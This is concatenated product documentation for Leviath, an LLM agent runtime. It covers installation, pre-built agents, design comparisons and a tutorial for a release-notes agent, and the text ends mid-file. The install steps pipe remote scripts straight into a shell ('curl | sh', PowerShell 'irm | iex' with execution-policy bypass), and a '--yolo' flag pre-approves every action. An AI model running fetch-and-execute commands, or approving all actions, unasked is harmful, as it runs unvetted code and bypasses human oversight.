# Leviath documentation (stable) > A structured agent runtime for LLMs: coherent context across hundreds of tool calls, a model per phase, and many agents in one process. This file is the complete Leviath documentation, concatenated for LLM and agent consumption. Individual pages live under https://leviath.dev/docs/stable/. Roughly ~105k tokens. For the index alone, with a runnable quickstart inlined, fetch https://leviath.dev/llms.txt instead. ======================================================================== # Getting Started Source: https://leviath.dev/docs/stable/getting-started # Getting Started Leviath runs LLM agents. What it adds over asking a model directly is **structure**. That means context that stays coherent across hundreds of tool calls, a different model for each phase of a task, and thousands of agents running at once in one process. You'll go from nothing to a running agent in four steps: ```mermaid flowchart LR A["Install
lev"] --> B["Configure
a provider"] B --> C["Run
an agent"] C --> D["Read
the result"] ``` ## Install One command, any platform. It installs a prebuilt binary, so no Rust toolchain is needed. **macOS and Linux** ```bash curl -fsSL https://leviath.dev/install.sh | sh ``` **Windows** ```powershell powershell -ExecutionPolicy Bypass -c "irm https://leviath.dev/install.ps1 | iex" ``` Check it worked: ```bash lev --version ``` That is the whole install. The options below are here when you want them, not because you need them.
Prefer Homebrew or Scoop The one-liners above already use Homebrew on macOS when you have it. To manage the tap yourself: ```bash brew tap gemisis/leviath https://github.com/GEMISIS/leviath-dist.git brew trust gemisis/leviath # Homebrew 6 requires trusting third-party taps brew install leviath ``` On Windows, Scoop works the same way: ```powershell scoop bucket add leviath https://github.com/GEMISIS/leviath-dist.git scoop install leviath ```
Switch to the beta or alpha channel `stable` is the default and is what you want unless you have a reason to be ahead of it. To ride a faster channel, pass it to the installer: ```bash curl -fsSL https://leviath.dev/install.sh | sh -s -- --channel beta ``` The installer prints which channel it is about to install, so you can see you got the one you asked for. Homebrew and Scoop name the channels as separate packages instead: install `leviath-beta` or `leviath-alpha` in place of `leviath`. See [Releases and channels](/docs/releases) for what each channel means and how often it moves.
Build with Cargo, or embed the runtime With [Rust](https://rustup.rs/) installed: ```bash cargo install leviath-cli # released version from crates.io cargo install --git https://github.com/GEMISIS/leviath.git --bin lev # latest development build ``` To embed the runtime in your own application instead of running the CLI, add the [`leviath`](https://crates.io/crates/leviath) crate as a dependency.
## Configure a provider One provider is all you need: an API key from Anthropic, OpenAI, Google AI, or OpenRouter, or a local [Ollama](https://ollama.com) with no key at all. ```bash lev setup ``` The wizard detects keys already in your environment, sets a default model, and installs the pre-built agents. > [!TIP] > No API key handy? Point Leviath at a local [Ollama](https://ollama.com) install and run > entirely offline. `lev setup` will detect it. See [Providers](/docs/providers) for the full list.
Script the setup instead For CI, containers, or any headless machine: ```bash lev setup --non-interactive --anthropic-key "$ANTHROPIC_API_KEY" --install-agents ``` Two flags matter more than they look: - `--install-agents` installs the pre-built agents. Without it, non-interactive setup configures the provider and installs nothing. - `--default-model /` sets the model every stage falls back to. Without a default model, a blueprint's own list decides, which may not pick your provider. The other credential flags are `--openai-key`, `--google-key`, `--openrouter-key`, and `--ollama-url`. See [`lev setup`](/docs/cli#lev-setup) for the full set.
## Run an agent First `cd` into the directory you want the agent working in. That directory becomes the run's **workdir**: its file tools are confined to it, and its output lands there. Then pick one of the seven [pre-built agents](/docs/agent-catalog) and give it a task: ```bash lev run coder --task "Build a CLI that converts CSV to JSON" lev run deep-researcher --task "Survey the state of solid-state batteries" ``` A run spends real API tokens on your configured provider. For a free first try, point `lev setup` at a local Ollama instead. Leave `--task` off and your editor opens on a template, which is easier than fighting shell quoting for anything longer than a sentence. It also takes a file: `lev run coder --task ./brief.md`. `lev run` returns as soon as the work is accepted, not when it is done. The agent runs in the background and keeps going after you close the terminal, so the next section is how you check on it. Real tasks take minutes. ## Read the result Watch it live, or come back later. Either way: ```bash lev dash # live view of every run lev ps # one-shot list: what is running, what finished lev result # the answer, once a run is complete ``` Files the agent created are in the workdir you ran it from. See [Outputs](/docs/outputs) for structured answers. Expect to be asked things along the way. The agent **stops and waits** before it writes a file or runs a shell command. Answer in `lev dash` (select the run, `Enter`, then `i`) or with [`lev respond`](/docs/interaction), or pass `--yolo` to pre-approve everything for an unattended run. > [!TIP] > Prefer a visual UI? Serve the daemon over HTTP and open > [The Lair](https://leviath.dev/lair), the browser console: > > ```bash > lev serve --token --cors https://leviath.dev > ``` > > It shows the same runs, context, logs, and interactions, from any browser. On Windows the agent's shell is `cmd.exe`, not a POSIX shell, and Leviath tells the model so. See [which shell you get](/docs/tools#which-shell-you-get), and [Troubleshooting](/docs/troubleshooting#windows-quoting-and-environment-variables) for PowerShell quoting and environment-variable syntax. ## Create your own ```bash lev create my-agent # scaffolds an agent directory cd my-agent lev run . --task "Your task here" ``` This writes an `agent.leviath` file you can customize: the stages, the model for each phase, and the context regions. [Build your first agent](/docs/first-agent) walks through writing one from scratch, a stage at a time, and is the natural next thing to read. ## Where to go next - The [Agent catalog](/docs/agent-catalog) tours the seven pre-built agents and what each is for. - [Build your first agent](/docs/first-agent) writes one from an empty directory, explaining each piece as it goes. - [Overview](/docs/overview) explains what Leviath is doing underneath: stages, context regions, and the shared world your agents run in. - [Agent blueprints](/docs/agents) covers what goes in an `agent.leviath` file, for building your own. - [Troubleshooting](/docs/troubleshooting) has the common snags, and `lev doctor` diagnoses most of them for you. - [Glossary](/docs/glossary) defines every term these docs use in a particular way. Worth a skim if a page starts using a word you have not met. - [Where Leviath sits](/docs/comparison) is for deciding whether you want Leviath at all, and what to run alongside it. - [Where Leviath fits](/docs/integrations) covers driving Leviath from a tool you already use, like an orchestrator or a CI job. ======================================================================== # Agent catalog Source: https://leviath.dev/docs/stable/agent-catalog # Agent catalog Leviath ships with seven pre-built agents. `lev setup` installs them into `~/.leviath/agents/` (scripting it? pass `--install-agents`), one directory per agent, each holding an `agent.leviath` [blueprint](/docs/agents). Run any of them by name: ```bash lev run coder --task "Build a CLI that converts CSV to JSON" ``` Each entry names the models its stages prefer. Those are first choices, not requirements: every bundled agent lists all five providers, and a stage falls back to the one you configured. This page is also a set of worked examples. Each section shows the agent's real stages and how they route, so you can copy the patterns into your own blueprint (`lev create my-agent` scaffolds one, then read [Agents](/docs/agents)). The diagrams are simplified: they show each agent's main path, and most draw the edge into its error-recovery stage, but a real graph has more edges than these. `lev validate ` prints every one of them. > [!TIP] > Pick by the shape of the work: a codebase change (the coding agents), a question to answer from > sources (the research agents), or a recurring chore like triaging logs. Not sure? Run `coder`. > > `coder` aside, every agent that has more than one thing to cover > [fans out](/docs/sub-agents): `data-analyst`, `deep-researcher`, `log-analyzer`, `reviewer`, > and `wide-researcher` all work on several at once instead of one after another. ## coder Discover the repo, plan with your sign-off, optionally spike an uncertain approach, implement, and review. The coding agent: reach for it for any change to a codebase. ```mermaid flowchart TD discover --> plan plan -->|revise| plan plan --> prototype plan --> implement prototype --> implement prototype -->|re-plan| plan prototype -->|stuck| reassess implement --> review implement -->|re-plan| plan review -->|issues| implement implement -->|stuck| reassess reassess --> implement implement -->|error| error_recovery error_recovery --> implement ``` ```bash lev run coder --task "Add rate limiting to the public API" ``` `discover` answers what the repository is and how to verify work in it before anything is planned, so the plan is grounded in the project rather than in guesswork. The `plan` stage runs in `interactive_points` mode, so it stops for your approval before any code is written. That is the [human-in-the-loop](/docs/interaction) pattern. Unattended, the checkpoint resolves as approved rather than stranding the run, so `--yolo` in CI still works. Set `unattended = "ask"` on the interaction point if you would rather an unattended run wait. `plan` also chooses between going straight to `implement` and spiking first with `prototype` when the approach is uncertain, and `reassess` is reached only on a `stuck` edge. `discover` and `plan` run on Sonnet; `implement`, `review`, and `reassess` step up to Opus, so it is a [multi-model](/docs/stages) blueprint. ## reviewer Review only: a fast scan pass, then a deeper look at correctness, security, and architecture, ending in a ranked report. Reach for it to vet a diff or PR. ```mermaid flowchart LR discover --> scan scan --> split_review split_review -->|"fan out: one worker per area"| deep_review deep_review --> report deep_review -->|error| error_handler error_handler --> deep_review ``` ```bash lev run reviewer --task "Review the changes on the feature/auth branch" ``` The two-pass split is deliberate: `scan` runs on Sonnet to flag areas, then the review itself escalates to Opus to scrutinize only what was flagged, which keeps the expensive model focused. `split_review` is a [fan-out](/docs/sub-agents) stage: one worker per file, module, or group of hunks, all reviewing at once. `deep_review` merges their findings, re-checks the blocking ones, covers any area whose worker failed, and then looks for what no single area could show. A small change is one work item, so a two-file diff does not pay for a fan-out it does not need. ## data-analyst Searches the web for data on a subject, builds a clean CSV of it, and hands back a summary of what the numbers say. Reach for it when you want a dataset you can open, not a paragraph about one. ```mermaid flowchart TD scope --> split scope -.->|only if splitting is exhausted| build split -->|fan out| gather_worker gather_worker --> build build --> present present --> done["Summary + dataset.csv"] ``` ```bash lev run data-analyst --task "EV registrations by country, 2015 to 2024" lev result # what the numbers say ``` `scope` decides the table's columns before anything is gathered, which is what keeps a hundred rows from drifting into a hundred shapes. `split` runs in `fan_out` mode, one worker per slice of the subject, so a broad question is gathered in parallel rather than one source at a time. See [Sub-agents and fan-out](/docs/sub-agents). Each worker hands back CSV rows through [`submit_output`](/docs/outputs), and `require_output` makes that a guarantee rather than a hope. The worker's `format = "csv"` label travels with the submission, so the merge knows what shape it is being handed. `present` is instructed to name `data/dataset.csv` in its `artifacts`, so a caller fetches the file rather than parsing its path out of prose. ## researcher General-purpose research: gather, analyze, summarize, with a refinement loop. Reach for it for a quick, focused answer. ```mermaid flowchart LR gather --> analyze analyze -->|need more| gather analyze --> summarize analyze -->|error| error_recovery error_recovery --> analyze ``` ```bash lev run researcher --task "What changed in the HTTP/3 spec this year?" ``` The `analyze` stage loops back to `gather` when a specific sub-topic is thin, then moves to `summarize` once the picture holds. `analyze` runs on Opus; gather and summarize stay cheap, the [multi-model](/docs/stages) split again. ## wide-researcher Broad landscape survey: cast a wide net, compare approaches, deep-read the interesting threads, then write an overview with recommendations. Reach for it to map a whole space. ```mermaid flowchart TD survey --> investigate survey -->|narrow area| compare investigate -->|"fan out: one researcher per thread"| compare compare -->|gaps| survey compare --> deep_dive deep_dive --> compare compare --> summarize compare -->|error| error_recovery error_recovery --> compare ``` ```bash lev run wide-researcher --task "Survey approaches to vector database indexing" ``` `investigate` is a [fan-out](/docs/sub-agents) stage, and its workers are full `researcher` runs rather than stages of this blueprint. Every thread the survey found is researched at the same time, each with its own clean context window, and their findings merge into `compare`. A survey that turns up one thread skips it and goes straight to `compare`. `compare` is then the hub: widen coverage (back to `survey`), pull one thread for a focused `deep_dive`, or finish. ## deep-researcher Thorough single-topic investigation: follows citation chains, cross-checks claims, and produces a structured, cited report. Reach for it when rigor and sources matter. ```mermaid flowchart TD gather --> investigate gather -->|single question| analyze investigate -->|"fan out: one researcher per sub-question"| analyze analyze -->|gaps| gather analyze --> follow_citations follow_citations --> analyze analyze --> synthesize analyze -->|error| error_recovery error_recovery --> analyze ``` ```bash lev run deep-researcher --task "Investigate the evidence for X causing Y" ``` A thorough investigation is usually several questions wearing one coat. `investigate` is a [fan-out](/docs/sub-agents) stage that splits them out and runs each as its own `researcher` sub-agent in parallel, merging what comes back into `analyze`. A topic that really is one question skips it. `follow_citations` is a dedicated targeted-read stage: `analyze` flags a specific cited source, the stage pulls and reads it, then hands control back. Evidence accumulates in [context regions](/docs/context) across the loop before `synthesize` writes the report on Opus. ## log-analyzer Analyzes log files for anomalies, trends, and error patterns through a scripted analyze and script loop, keeping a severity-ranked findings index. Reach for it to triage a noisy log. ```mermaid flowchart LR ingest --> split_logs split_logs -->|"fan out: one worker per file or window"| analyze analyze --> script script -->|refine| script script --> analyze analyze --> report analyze -->|error| error_recovery error_recovery --> analyze ``` ```bash lev run log-analyzer --task "Find the error patterns in /var/log/app.log" ``` `split_logs` is a [fan-out](/docs/sub-agents) stage: one sweeper per log file, per service, or per time window of a single large file, all reading at once. `analyze` merges what they found, and a slice whose worker failed comes back as unswept rather than silently missing. One log file is one work item, so a single file does not pay for a fan-out. `analyze` (on Opus) then hands off to `script` to write and run parsing or aggregation code, which can refine itself before returning results. Findings persist in a [context region](/docs/context) across passes so the report ranks them by severity. ## Running one Every agent runs the same way, name it and hand it a task: ```bash lev run deep-researcher --task "Survey the state of solid-state batteries" ``` To build your own, read how blueprints are structured in [Agents](/docs/agents), how the stage graph routes and recovers in [Multi-stage workflows](/docs/stages), and how the parallel agents split work in [Sub-agents and fan-out](/docs/sub-agents). ======================================================================== # Where Leviath sits Source: https://leviath.dev/docs/stable/comparison # Where Leviath sits People arrive at Leviath already using something else, and the useful question is usually not "which of these is best" but "what job does each of these do, and do I need more than one". A coding agent, an orchestrator, a framework, and a runtime are four different jobs. Leviath is the runtime. So this page is about layers, not scores, and several of the tools below are worth running *alongside* Leviath rather than instead of it. ## Four different jobs ```mermaid flowchart TD ORCH["Orchestrators
Gas Town / Gas City"] ORCH --> AGENTS["Agent layer"] subgraph AGENTS["Agent layer: pick one"] CC["Coding agents
Claude Code, Codex, OpenHands"] FW["Frameworks
CrewAI, LangGraph"] LEV["Runtimes
Leviath"] end AGENTS --> M["Model providers"] ``` - **A coding agent** is a finished product you talk to. You install it and start working. - **An orchestrator** decides which work happens and where. It does not write code itself. It picks up an issue, assigns it, tracks it, and collects the result. - **A framework** is a library you build an agent *in*, in your own codebase and language. - **A runtime** is a service your agents run *on*. You describe an agent and it executes it. Leviath is the last one. That is why an orchestrator sits happily above it, which is what [the Integrations section](/docs/integrations) is about. ## Side by side These tools make different architectural bets. The table compares models, not merit, and every description comes from that project's own documentation. | | **Leviath** | **Claude Code + Agent SDK** | **CrewAI** | **LangGraph** | |---|---|---|---|---| | **Layer** | Standalone agent runtime, single binary | Coding agent CLI plus an SDK harness | Python multi-agent framework | Orchestration framework (Python/JS) | | **Running N agents** | N entities in one daemon process | One `claude` subprocess per session | Inside your Python app | Inside your app process | | **Context management** | Typed regions, explicit eviction, per-stage budgets | Auto-compaction near the limit | Auto-summarizes on overflow | Developer-controlled graph state | | **Multi-agent** | Stage graphs plus in-process fan-out | Subagents within a session | Role-based crews, coordinated by flows | Explicit graphs of deterministic and agentic steps | | **Agents are defined in** | TOML plus Rhai scripts | Markdown and YAML, or SDK code | Python classes or YAML | Python or TypeScript | | **Expects on the machine** | One native binary | A native CLI; the SDKs want Node 18+ or Python 3.10+ | Python 3.10-3.13 | A Python or Node runtime | | **Headless surface** | REST, WebSocket, [ACP](/docs/agent-client-protocol) over stdio | `claude -p`, plus the SDKs | `kickoff()` in-process, REST via AMP | Library calls, REST via LangSmith | | **Human in the loop** | Mid-run messages, interaction points, ask-user tools | Interactive steering and permission prompts | `human_input` pauses a task | `interrupt()` pauses and resumes | | **Isolation** | Per-agent state, workdir, and policy; opt-in containers or namespaces for shell (widening) | Opt-in OS sandbox for shell | External sandbox services | Sandbox backends via Deep Agents | | **Hosted option** | None | Managed Agents | CrewAI AMP | LangSmith Deployment | ## When to use something else We would rather you pick the right tool than pick ours, so here is where Leviath is the wrong answer and what to reach for instead. **Use a coding agent like Claude Code or Codex** when you want the familiar thing: a chat in your terminal or editor, aimed squarely at writing code, that you steer turn by turn. That interactive loop is what they are built around, and it is the experience most people want most days. Leviath asks you to describe the work up front instead, which pays off on a task with distinct phases and gets in the way of a quick edit. **Use CrewAI or LangGraph** when your orchestration already lives in Python or TypeScript and you want the workflow expressed in code, with your own types and your own tests around it. A Leviath agent is a TOML blueprint plus optional Rhai script tools, so if you want agent logic in a general language against an SDK, that model is not here. Other languages drive Leviath through the [REST API](/docs/api) instead. **Use a hosted platform** if you want somebody else operating it. You run the Leviath daemon yourself. [`lev serve`](/docs/api) and [The Lair](https://leviath.dev/lair) reach it from anywhere, but there is no hosted service and no multi-machine scheduling. You also need a model provider either way: an API key or a local Ollama. One current limit worth knowing before you choose. Every agent has its own state, workdir fence, tool policy, and panic boundary, so one agent's crash stays its own. The opt-in [OS sandbox](/docs/security) is narrower than that: today it wraps shell execution, seed commands, and script shell calls, while file tools rely on path confinement and network tools run on the host. Widening it to cover every side effect is [in progress](https://github.com/GEMISIS/leviath/issues/326). **Reach for Leviath** when the hard part is inside a single unit of work. That is the case when a task has distinct phases wanting different models and different tools. It is also the case when you care about exactly what is in the context window at each phase, or want many agents running at once without paying for a process each. Every run journals to disk as it goes, so a daemon you kill mid-run picks the work back up on its next start. ## Scored against 12-Factor Agents [12-Factor Agents](https://github.com/humanlayer/12-factor-agents) is a widely used checklist for agent design. Here is Leviath against it, factor by factor. | # | Factor | Status | Notes | |---|---|---|---| | 1 | Natural language to tool calls | ✓ | Provider tool calls map 1:1 into the runtime | | 2 | Own your prompts | ✓ | Stage, system, and transition prompts live in your blueprint | | 3 | Own your context window | ✓ | Region kinds, per-stage layouts, per-tool routing, percentage budgets | | 4 | Tools are structured outputs | ✓ | Every tool declares a JSON Schema, validated at dispatch before it runs | | 5 | Unify execution and business state | ✓ | One append-only run journal, replayable with `lev context` | | 6 | Launch, pause, resume | ✓ | From CLI, REST, or ACP. A paused run survives a daemon restart | | 7 | Contact humans with tool calls | ✓ | `ask_user_*` tools plus blueprint interaction points | | 8 | Own your control flow | ✓ | Graph transitions on error, iteration cap, stuck, and model choice | | 9 | Compact errors into context | ✓ | Tool, inference, and iteration-cap errors all land in context | | 10 | Small, focused agents | ✓ | Per-stage models, tools, and prompts, plus bounded fan-out | | 11 | Trigger from anywhere | ✓ | Start a run from the CLI, REST, or ACP. WebSocket updates, webhooks on completion. Scheduling is your cron or CI | | 12 | Stateless reducer | ✓ | Durable state lives on disk; the process is disposable. Runs resume on restart, and interrupted tool batches replay exactly-once | ## How we measure Leviath orchestrates agents rather than being a coding agent itself, so there are no head-to-head numbers against Claude Code or Codex here. They sit at a different layer, and a benchmark comparing them would not mean much. What is worth measuring, on the same tasks with the same models: - **Structured context against flat context**: the same runtime with regions on and off, scored on test pass rate, total billed tokens including cache reads and writes, and cost. - **Resource footprint**: actual memory for one daemon running many concurrent agents. Methodology and raw data will be published with the results. ======================================================================== # Overview Source: https://leviath.dev/docs/stable/overview # How Leviath works Leviath runs LLM agents. You describe an agent in a file, and a background service executes it, keeping its context coherent, calling its tools, and writing everything to disk as it goes. This page is the whole system in one pass. Each section is a summary with a link to the page that covers it properly, so read straight through once and then follow whichever link you need. ```mermaid flowchart LR BP["agent.leviath
your blueprint"] --> RUN["lev run"] RUN --> W subgraph W["The daemon: one shared world"] A1["agent"] A2["agent"] A3["agent"] end W <-->|inference| P["Model providers"] W <-->|tool calls| T["Tools: files, shell, MCP"] W --> D["Disk: journal, context,
outputs, artifacts"] ``` ## An agent is a blueprint An agent is a directory holding an `agent.leviath` file, a TOML **blueprint**. It names the stages the agent moves through, the model and tools each stage gets, and the shape of its memory. There is no agent code to write, and nothing is compiled. Seven [pre-built agents](/docs/agent-catalog) ship with Leviath, and `lev create` scaffolds your own. See [Agent blueprints](/docs/agents). ## Work happens in stages A stage is one phase of a task, with its own prompt, its own model, and its own tool list. Stages are joined by **transitions** into a graph, so an agent can loop, branch on an error, or escape a stage it is stuck in. That is the main reason to reach for Leviath: a discovery stage can run a cheap model with read-only tools, and the implementation stage that follows can run an expensive one with write access. See [Multi-stage workflows](/docs/stages). ## Context is structured, not a flat list Most agent frameworks keep one growing list of messages, so a large file read pushes the original task toward the edge of the window. Leviath splits the window into named **regions**, each with its own budget and its own rule for what to drop first. A file dump can fill the region it landed in and nothing else. See [Structured context](/docs/context). ## Tools are declared and gated Each stage advertises the tools it may call: file tools confined to the run's working directory, a shell, [MCP](/docs/mcp) servers, and any [Rhai script tools](/docs/rhai-tools) you write. A tool the stage never advertised cannot be called, and a tool that changes something asks you first unless you said otherwise. See [Built-in tools](/docs/tools) and [Security](/docs/security). ## Agents can spawn agents A stage can hand work to [sub-agents](/docs/sub-agents), either one at a time or as a **fan-out** that splits a job across many workers and merges what they return. Children are ordinary agents in the same world, so there is no new process and nothing is serialized between a parent and its children. ## A person can step in at any point An agent can ask you a question, ask permission for a tool call, or stop at a checkpoint its blueprint declares. You answer from the dashboard, the CLI, or the API, and a run that is waiting holds its place rather than burning tokens. See [Interaction](/docs/interaction). ## Runs hand back an answer A run's result is not just its logs. A stage can require a structured **output** in a shape you name, validated before the run is allowed to finish, which is what makes a run safe to call from a script. See [Outputs](/docs/outputs). ## Everything runs in one shared world `lev run` does not execute the agent in your terminal. It hands the work to a background [daemon](/docs/daemon) that holds every agent in one process, and returns immediately. That is what makes thousands of concurrent agents affordable: a waiting agent is a row of data nothing touched this pass, not an idle process. [The agent engine](/docs/engine) explains how, and you never have to think about it to use Leviath. ## Nothing lives only in memory Every run journals to disk as it goes: its context, its stages, its logs, and its final answer. Kill the daemon mid-run and the next start picks the work back up, replaying an interrupted tool batch rather than running it twice. ## Ways in The CLI is one of four front doors, and they all drive the same daemon. | You are | Use | Covered in | |---|---|---| | At a terminal, or scripting one | `lev` with `--json` | [CLI reference](/docs/cli) | | A service built on Leviath | `lev serve` | [HTTP API](/docs/api) | | An editor or orchestrator that spawns processes | `lev agent-client` | [Agent Client Protocol](/docs/agent-client-protocol) | | A Rust program | the `leviath` crate | [Embedding](/docs/embedding) | For anything long-lived, prefer the HTTP API over shelling out to the CLI. Its listings are paginated, sortable, and searchable, a WebSocket pushes changes so you do not have to poll, and webhooks can deliver a finished run to you. See [driving Leviath from a work queue](/docs/work-queues#prefer-the-api). ## Where to go next - [Build your first agent](/docs/first-agent) is the natural next page: it writes one from scratch, and the ideas below make more sense once you have. - [Agent blueprints](/docs/agents) is the field-by-field reference for what you wrote. - [Multi-stage workflows](/docs/stages) and [Structured context](/docs/context) are the two ideas that do the most work. - [Glossary](/docs/glossary) defines every term these docs use in a particular way. ======================================================================== # Build your first agent Source: https://leviath.dev/docs/stable/first-agent # Build your first agent [Getting Started](/docs/getting-started) had you run somebody else's agent. This page has you write one, a stage at a time, and explains each piece as you add it. At the end you will have an agent that turns your project's recent commits into release notes a user can read. It is a good first agent because the work genuinely has phases. Deciding which commits matter is cheap sorting. Writing the notes is the part worth a better model. Handing back a clean answer is a third job again, and none of them wants the others' tools. You need what Getting Started set up: `lev` installed and one provider configured. Run this in a git repository with some history, because the agent reads your commit log. ```mermaid flowchart LR S["survey
sort the commits
(cheap model)"] --> D["draft
write the notes
(better model)"] D --> P["publish
hand back markdown"] S -.->|error| R["recover"] D -.->|error| R ``` ## Step 1: scaffold ```bash lev create release-notes cd release-notes ``` That writes a directory with an `agent.leviath` file in it, plus a `.gitignore` and a `.env.example`. The blueprint it generates is a working one-stage agent. You are going to replace it, so open it and delete everything. Every agent needs a name and an entry stage. Start there: ```toml [agent] name = "release-notes" version = "0.1.0" description = "Turns the commits since your last release into notes a user can read" entry_stage = "survey" ``` `entry_stage` names the stage a run begins in. Without it, a run starts at whichever stage you declared first, which is fine until you reorder the file. ## Step 2: give it something to read An agent's memory is divided into named **regions**, each with its own budget and its own rule for what to drop first. That is [structured context](/docs/context), and it is the reason a large file read cannot push your task description out of the window. Four regions is enough here: ```toml [context.regions] task = { kind = "pinned", budget = "3%", seed = "task_input" } commits = { kind = "pinned", budget = "25%", seed = { command = "git log --oneline -50" } } notes = { kind = "pinned", budget = "20%" } conversation = { kind = "sliding_window", budget = "25%", max_items = 20 } ``` Three things are happening. **`pinned` means never dropped.** The task and the commit list are the whole point of the run, so nothing may evict them to make room. `conversation` is a `sliding_window` instead, because the back-and-forth is worth keeping recent and not worth keeping forever. **Budgets are percentages of whatever model the stage runs on**, so this layout works the same on a 1M-token model and a 200K one. They are ceilings rather than allocations, which is why they may sum past 100%: regions rarely all fill at once. **`seed` fills a region before the first inference.** `task_input` is whatever you pass to `--task`. The `command` form runs a shell command and keeps its output, so the agent starts already holding your commit log instead of spending a turn fetching it. > [!NOTE] > A seed command runs at spawn, before any approval prompt, so it only runs if it is already > trusted. `git log` is on Leviath's built-in safe list, which is why this one needs no > configuration from you. A seed running something less ordinary needs a > [`[safe_commands]`](/docs/interaction#what-runs-without-asking) entry, and `lev validate` prints > every seed a blueprint will run. ## Step 3: the first stage A **stage** is one phase of the work, with its own prompt, model, and tools: ```toml [stages.survey] mode = "autonomous" description = "Sort the commits into what a user would notice and what they would not" model = { models = [ { provider = "anthropic", model = "claude-sonnet-5" }, { provider = "openai", model = "gpt-5.4-mini" }, ] } available_tools = ["context_write"] max_iterations = 10 system_prompt = """ The `commits` region holds this project's recent commits, newest first. Sort them into changes a user of this project would notice, and changes they would not: refactors, test-only work, dependency bumps, CI. Write the user-visible ones into the `notes` region with context_write, one per line, each keeping its short commit hash. Then say you are done. """ ``` `models` is an ordered fallback list, not a choice. The first entry whose provider you have configured wins, so this stage runs on Anthropic if you have a key for it and OpenAI if you do not. Adding your own provider to the front is how you take an agent somewhere else. `available_tools` is the entire set this stage may call. Sorting text needs no file access and no shell, so it gets neither. A tool left out here is not sent to the model at all: it never sees the name or the schema, so it cannot be tempted by one. If it guesses a name anyway, the call is refused before anything runs, and the refusal goes back as that call's result so the model can correct itself. Both halves matter, and together they keep a stage's blast radius equal to its list. `max_iterations` bounds the loop. A stage that never decides it is finished stops here rather than spending your budget. ## Step 4: a second stage, and the edge between them Stages are joined by **transitions**, which form a [graph](/docs/stages): ```toml [stages.survey.transitions.draft] hint = "The commits are sorted and the user-visible ones are in the notes region" ``` The table name is the destination stage. `hint` is what the model reads when it decides whether to take this edge, so write it as the condition it describes rather than as an instruction. Now the stage it points at: ```toml [stages.draft] mode = "autonomous" description = "Turn the sorted changes into release notes" model = { models = [ { provider = "anthropic", model = "claude-opus-5" }, { provider = "openai", model = "gpt-5.5" }, ] } available_tools = ["bash", "read_file"] max_iterations = 15 system_prompt = """ Write release notes from the `notes` region, grouped under Added, Changed, and Fixed. Drop any group with nothing in it. Write for someone who uses this project and has not read its commit log. If a commit message is too terse to explain, run `git show --stat ` to see what it touched before you describe it. Then hand the notes to the publish stage. """ ``` This is the payoff of splitting the work. `draft` runs on a stronger model than `survey`, because prose about your project is worth more than sorting a list. It also gets tools `survey` had no use for, so it can look at a commit whose message says `fix edge case` and find out which one. Both facts are per stage. Neither could be expressed if this were one agent with one prompt. ## Step 5: hand back a real answer A run's result should be something a script can use, not a transcript to read. That is what a [final output](/docs/outputs) is: ```toml [stages.publish] mode = "output" description = "Hand back the finished notes" max_iterations = 3 model = { models = [ { provider = "anthropic", model = "claude-sonnet-5" }, { provider = "openai", model = "gpt-5.4-mini" }, ] } [stages.publish.output] format = "markdown" instructions = "The release notes only. Start at the first heading, with no preamble." ``` `mode = "output"` does three things: it grants the `submit_output` tool, it requires the stage to call it, and it takes away everything else. The stage has one job and one way to finish it. `format` is a label carried to the model and recorded beside the answer. It is not an enum, so a shape Leviath has never heard of works the same way; `instructions` is where you explain one. Point `draft` at it: ```toml [stages.draft.transitions.publish] hint = "The notes are written" ``` ## Step 6: somewhere to land when something breaks Every edge so far is a happy path. Give both working stages somewhere to go when they fail: ```toml [stages.survey.transitions.recover] condition = "error" [stages.draft.transitions.recover] condition = "error" [stages.recover] mode = "autonomous" description = "Say what went wrong when a stage fails" model = { models = [ { provider = "anthropic", model = "claude-sonnet-5" }, { provider = "openai", model = "gpt-5.4-mini" }, ] } available_tools = [] max_iterations = 3 system_prompt = """ A stage failed. Say briefly what was being attempted and what the error was, so the person running this can decide what to do. """ ``` `condition = "error"` fires on a failure rather than on the model's judgement, so it needs no `hint`. Without an error edge a failed stage ends the run with whatever the runtime knows, which is usually less than the agent knows. See [transitions](/docs/stages) for the other conditions, including `stuck` and `max_iterations`. ## Step 7: check it before you run it ```bash lev validate . ``` `lev validate` reads the blueprint the way the runtime will, then says what it found: ```console ✓ Blueprint 'release-notes' is valid. 4 stages, version 0.1.0 Graph mode: entry stage 'survey' - survey → draft, recover - draft → recover, publish - publish (linear) - recover (linear) NOTE 1 region(s) run a shell command at spawn, before the first inference and before any tool-approval prompt: commits: git log --oneline -50 (pre-approved) ``` The graph it prints is the one to read carefully, because a stage with no way out and a stage nothing reaches both look fine in a text editor. The note about the seed is the check from step 2 confirming itself: `(pre-approved)` means `git log` needed no permission from you. Warnings are worth fixing even though they do not stop a run. A stage with no `max_iterations` and a model this build has never heard of both turn up here. ## Step 8: run it ```bash lev run . --task "Release notes for the changes since the last tag" ``` `lev run .` runs the blueprint in the current directory, which is what you want while you are still editing it. Install it as a named agent once you are happy: ```bash lev add . lev run release-notes --task "..." ``` The run goes to the background, so watch it or come back later: ```bash lev dash # live view lev result # the notes, once it finishes ``` Expect to be asked once. `draft` may call `git show`, and the shell defaults to asking before it runs anything, so answer in `lev dash` or with [`lev respond`](/docs/interaction). Pass `--yolo` if you would rather it not stop. ## The whole file ```toml [agent] name = "release-notes" version = "0.1.0" description = "Turns the commits since your last release into notes a user can read" entry_stage = "survey" [tool_permissions] read_file = "allow" bash = "ask" [context.regions] task = { kind = "pinned", budget = "3%", seed = "task_input" } commits = { kind = "pinned", budget = "25%", seed = { command = "git log --oneline -50" } } notes = { kind = "pinned", budget = "20%" } conversation = { kind = "sliding_window", budget = "25%", max_items = 20 } [stages.survey] mode = "autonomous" description = "Sort the commits into what a user would notice and what they would not" model = { models = [ { provider = "anthropic", model = "claude-sonnet-5" }, { provider = "openai", model = "gpt-5.4-mini" }, ] } available_tools = ["context_write"] max_iterations = 10 system_prompt = """ The `commits` region holds this project's recent commits, newest first. Sort them into changes a user of this project would notice, and changes they would not: refactors, test-only work, dependency bumps, CI. Write the user-visible ones into the `notes` region with context_write, one per line, each keeping its short commit hash. Then say you are done. """ [stages.survey.transitions.draft] hint = "The commits are sorted and the user-visible ones are in the notes region" [stages.survey.transitions.recover] condition = "error" [stages.draft] mode = "autonomous" description = "Turn the sorted changes into release notes" model = { models = [ { provider = "anthropic", model = "claude-opus-5" }, { provider = "openai", model = "gpt-5.5" }, ] } available_tools = ["bash", "read_file"] max_iterations = 15 system_prompt = """ Write release notes from the `notes` region, grouped under Added, Changed, and Fixed. Drop any group with nothing in it. Write for someone who uses this project and has not read its commit log. If a commit message is too terse to explain, run `git show --stat ` to see what it touched before you describe it. Then hand the notes to 